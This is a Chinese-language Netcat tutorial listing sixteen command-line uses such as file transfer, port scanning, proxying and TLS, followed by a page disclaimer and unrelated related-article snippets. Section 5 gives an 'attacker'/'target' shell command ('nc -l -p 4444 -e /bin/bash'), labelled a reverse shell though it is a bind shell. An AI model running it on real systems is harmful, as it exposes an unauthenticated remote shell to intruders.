Linux命令行系列:Netcat网络工具

在大多数Linux发行版中,Netcat已经预装。如果需要安装或确保最新版本,请使用系统特定的包管理工具。例如,在Ubuntu上,可以使用以下命令安装Netcat:

sudo apt-get install netcat

1、基本用法是在两台计算机之间建立简单的TCP连接。以下是一个简单的示例

# 在服务器上监听指定端口
nc -l -p 1234# 在客户端连接到服务器
nc 服务器IP地址 1234

2、在计算机之间传输文件,从一个服务器向另一个服务器传输文件

# 在接收端运行
nc -l -p 1234 > received_file# 在发送端运行
nc 接收端IP地址 1234 < local_file

3、简单的端口扫描示例

nc -zv 目标主机IP 20-80

4、服务探测

# 命令向目标主机的80端口发送HTTP GET请求,并显示响应。通过观察响应,您可以了解目标主机上是否运行着一个Web服务器
echo "GET /" | nc -v 目标主机IP 80

5、创建反向 Shell

# 在目标主机上运行以下命令:
nc -l -p 4444 -e /bin/bash# 在攻击者机器上运行
nc 目标主机IP 4444

6、创建简单代理

# 作简单的代理,将数据从一个端口转发到另一个端口
nc -l -p 8080 | nc 目标主机IP 80
或
nc -l -p 8080 -c "nc 目标主机IP 80"

7、数据转发与管道

# 通过管道与其他命令一起使用,实现更复杂的数据处理和转发
nc -l -p 8080 | gzip -d | tar xf -

8、使用 SSL/TLS 连接

# 在服务器端启动SSL监听
openssl s_server -quiet -key server.key -cert server.crt -port 4444 | nc -l -p 8080# 在客户端连接到SSL服务器
ncat --ssl 目标主机IP 8080

9、使用 stunnel 进行加密

# 在服务器端启动 stunnel
stunnel -d 4444 -r 目标主机IP:8080# 在客户端连接到加密端口
ncat --ssl localhost 4444

10、查看网络流量

nc -l -p 1234 | tee received_data.txt
或
nc -l -p 1234 > dumped_data.cap

11、自定义数据包格式

echo -n "Hello, Server!" | nc 目标主机IP 1234

12、远程执行命令

# 在远程系统上执行命令并返回结果
nc -w 3 目标主机IP 1234 <<< "ls -l"

13、文件传输

# 在接收端解压缩并保存文件
nc -l -p 1234 | tar xzf -# 在发送端将文件传输并压缩
tar czf - 文件夹 | nc 目标主机IP 1234

14、监听和转发 UDP 流量

# 在本地监听UDP端口
nc -lu -p 1234# 将UDP数据流转发到另一台主机
nc -u 目标主机IP 1234

15、Docker 容器中使用 Netcat

# 在一个容器中监听端口
docker run -p 1234:1234 -it alpine nc -l -p 1234# 在另一个容器中连接到监听的端口
docker run -it alpine nc 目标容器IP 1234

16、结合 Wireshark 进行网络分析

# 在监听端口上启动Netcat
nc -l -p 1234 | wireshark -k -i -


 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/618123.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++随机数生成:std标准库和Qt自带方法(未完待续)

std标准库 std::rand()是C中的一个随机数函数&#xff0c;它生成一个范围在0到RAND_MAX之间的伪随机整数。 在使用std::rand()之前&#xff0c;需要包含<cstdlib>头文件。 #include <cstdlib> 设置种子 在每次程序运行时&#xff0c;通常需要使用不同的种子值…

自定义数据实现SA3D

SA3D&#xff1a;Segment Anything in 3D with NeRFs 实现了3D目标分割 原理是利用SAM(segment anything) 模型和Nerf分割渲染3D目标&#xff0c; SAM只能分块&#xff0c;是没有语义标签的&#xff0c;如何做到语义连续&#xff1f; SA3D中用了self-prompt, 根据前一帧的mask…

打通商城与ERP系统,实现物料自动同步

【客户介绍】 某文化传播有限公司是一家专注于为企业提供品牌营销、公关传播、活动策划、数字营销等服务的综合性文化传播公司。该公司拥有一支经验丰富的专业团队&#xff0c;具有丰富的品牌营销、公关传播、活动策划、数字营销经验。该公司自成立以来&#xff0c;已经为数百…

Baumer工业相机堡盟工业相机如何通过NEOAPI SDK实现相机的高速图像保存(C#)

Baumer工业相机堡盟工业相机如何通过NEOAPI SDK实现相机的高速图像保存&#xff08;C#&#xff09;&#xff09; Baumer工业相机Baumer工业相机的图像高速保存的技术背景Baumer工业相机通过NEOAPI SDK函数图像高速保存在NEOAPI SDK里实现线程高速图像保存&#xff1a;工业相机高…

STM32 定时器输入捕获1——初始化配置

当想检测高电平或低电平的持续时间的时候&#xff0c;就可以使用定时器输入捕获。例如示波器就是用到这个功能。这里就讲解一下定时器到底是如何输入捕获的&#xff1a; 由上图我们可以知道&#xff0c;周期 是每次连续的上升沿的时间差&#xff08;例如&#xff1a;T第二个方波…

Matlab并行计算实践

Matlab并行计算实践 需要对上万张图像进行OCR识别。OCR算法原型用Matlab脚本实现,对每张图逐行逐字符识别,整体计算时间很长。找多核多CPU并行执行的方案 Matlab有并行工具箱。可以使用parfor对循环进行并行处理&#xff0c;parfor要求循环之间的运算独立不相关&#xff1b;另…

Elasticsearch:Search tutorial - 使用 Python 进行搜索 (四)

在本节中&#xff0c;你将了解另一种机器学习搜索方法&#xff0c;该方法利用 Elastic Learned Sparse EncodeR 模型或 ELSER&#xff0c;这是一种由 Elastic 训练来执行语义搜索的自然语言处理模型。这是继之前的文章 “Elasticsearch&#xff1a;Search tutorial - 使用 Pyth…

git ssh key 配置

一、Profile Settings-->SSH Keys 我们点击这里会有详情的文档介绍生成sshkey。 ssh-keygen -t rsa -b 2048 -C "邮箱" --回车... 将生成的id_rsa.pub粘贴到如下保存 git config --global user.name "用户名" git config --global user.email "邮…

js(JavaScript)数据结构之数组(Array)

什么是数据结构&#xff1f; 下面是维基百科的解释&#xff1a; 数据结构是计算机存储、组织数据的方式。数据结构意味着接口或封装&#xff1a;一个数据结构可被视为两个函数之间的接口&#xff0c;或者是由数据类型联合组成的存储内容的访问方法封装。 我们每天的编码中都会…

HackTheBox - Medium - Linux - Faculty

Faculty Faculty 是一台中型 Linux 机器&#xff0c;具有 PHP Web 应用程序&#xff0c;该应用程序使用的库容易受到本地文件包含的影响。利用该库中的 LFi 会泄露一个密码&#xff0c;该密码可用于通过 SSH 以名为“gbyolo”的低级用户身份登录。用户“gbyolo”有权作为“dev…

Linux 内核如何根据设备树文件来匹配内核

一. 简介 上一篇文章学习了 Linux内核如何确定是否支持此设备&#xff0c;如果支持&#xff0c;设备就会启动 Linux 内核。 文章地址如下&#xff1a; 设备树根节点下的compatile属性的作用-CSDN博客 本文继上面文章的学习。这里简单看一下&#xff0c; Linux 内核是如何根…

iOS App自动化测试:从环境搭建到实际应用(Python+pytest+appium+allure框架)

iOS App自动化测试&#xff1a;Pythonpytestappiumallure 一、环境准备&#xff1a; 1.1 Appium环境搭建 Windows端&#xff1a;Windows端appium环境搭建Mac端&#xff1a;Mac端appium环境搭建 总结&#xff1a;appium-doctor 是用来检测环境配的是否完整&#xff0c;安装完…

装箱问题(C语言)

假设有N项物品&#xff0c;大小分别为s1​、s2​、…、si​、…、sN​&#xff0c;其中si​为满足1≤si​≤100的整数。要把这些物品装入到容量为100的一批箱子&#xff08;序号1-N&#xff09;中。装箱方法是&#xff1a;对每项物品, 顺序扫描箱子&#xff0c;把该物品放入足以…

CMMI认证是什么?认证有什么好处?

CMMI认证&#xff0c;即能力成熟度模型集成&#xff08;Capability Maturity Model Integration&#xff09;&#xff0c;是由美国卡内基梅隆大学软件工程研究所&#xff08;SEI&#xff09;开发的一种过程改进框架。它主要用于评估和提高企业在软件开发、维护和项目管理方面的…

类厂,变长参数,序列化

目的 在记录nav2中的各类信息,保存到文件中,以便后面回放来分析算法的编程中发现。 各种信息记录的数据不同,可能还会有变化,所以决定采用类厂模式,参见C++设计模式入门 记录的基类 有个信息记录的基类,不同的记录对应不同的子类。 enum rcdType{RT_NA,RT_nav2Info,R…

java进阶||jdk进阶之循环

从18年学java到现在除了各种各样的数据类型和集合烧不了要遍历这些变量, for循环这时就少不了啦(当然还有8后引入的神器泛型) 先来看一段精髓业务代码, 使用了多个新特性当然也少不了循环和分支判断 代码较长解析在后面 private CommonPage<List<Object>> handle…

【MyBatis】动态SQL

文章目录 前言增加操作\<trim>标签查询操作\<where>标签修改操作\<set>标签删除操作\<foreach>标签\<include>标签 前言 动态 SQL 是 MyBatis 的强大特性之一。如果你使用过 JDBC 或其它类似的框架&#xff0c;你应该能理解根据不同条件拼接 SQ…

超声波清洗机可以洗些什么东西?质量比较好的超声波清洗机推荐

超声波清洗机只能清洗眼镜吗&#xff1f;不是的&#xff01;超声波清洗机能够清洗的物品远比我们想象的还多&#xff0c;最常见的还是清洗眼镜&#xff0c;毕竟超声波清洗机最常见就是在眼镜店了&#xff0c;很多朋友都喜欢定期都眼镜店里来清洗一下眼镜&#xff0c;这个习惯其…

vivado Revision Control

2020.2 只需要git 管理 prj.xpr 和 prj.srcs/ https://china.xilinx.com/video/hardware/ip-revision-control.html Using Vivado Design Suite with Revision Control https://www.xilinx.com/video/hardware/vivado-design-suite-revision-control.html http://www.xi…

腾讯实验平台基于 StarRocks 构建湖仓底座

作者&#xff1a; 腾讯大数据平台部科学实验中心Tech Lead、专家工程师 马金勇博士 腾讯大数据平台部科学实验中心数据负责人、专家工程师 胡明杰 StarRocks Contributor、腾讯高级工程师 刘志行 在 2022 年&#xff0c;腾讯 A/B Test 团队启动了海外商业化版本 ABetterChoice …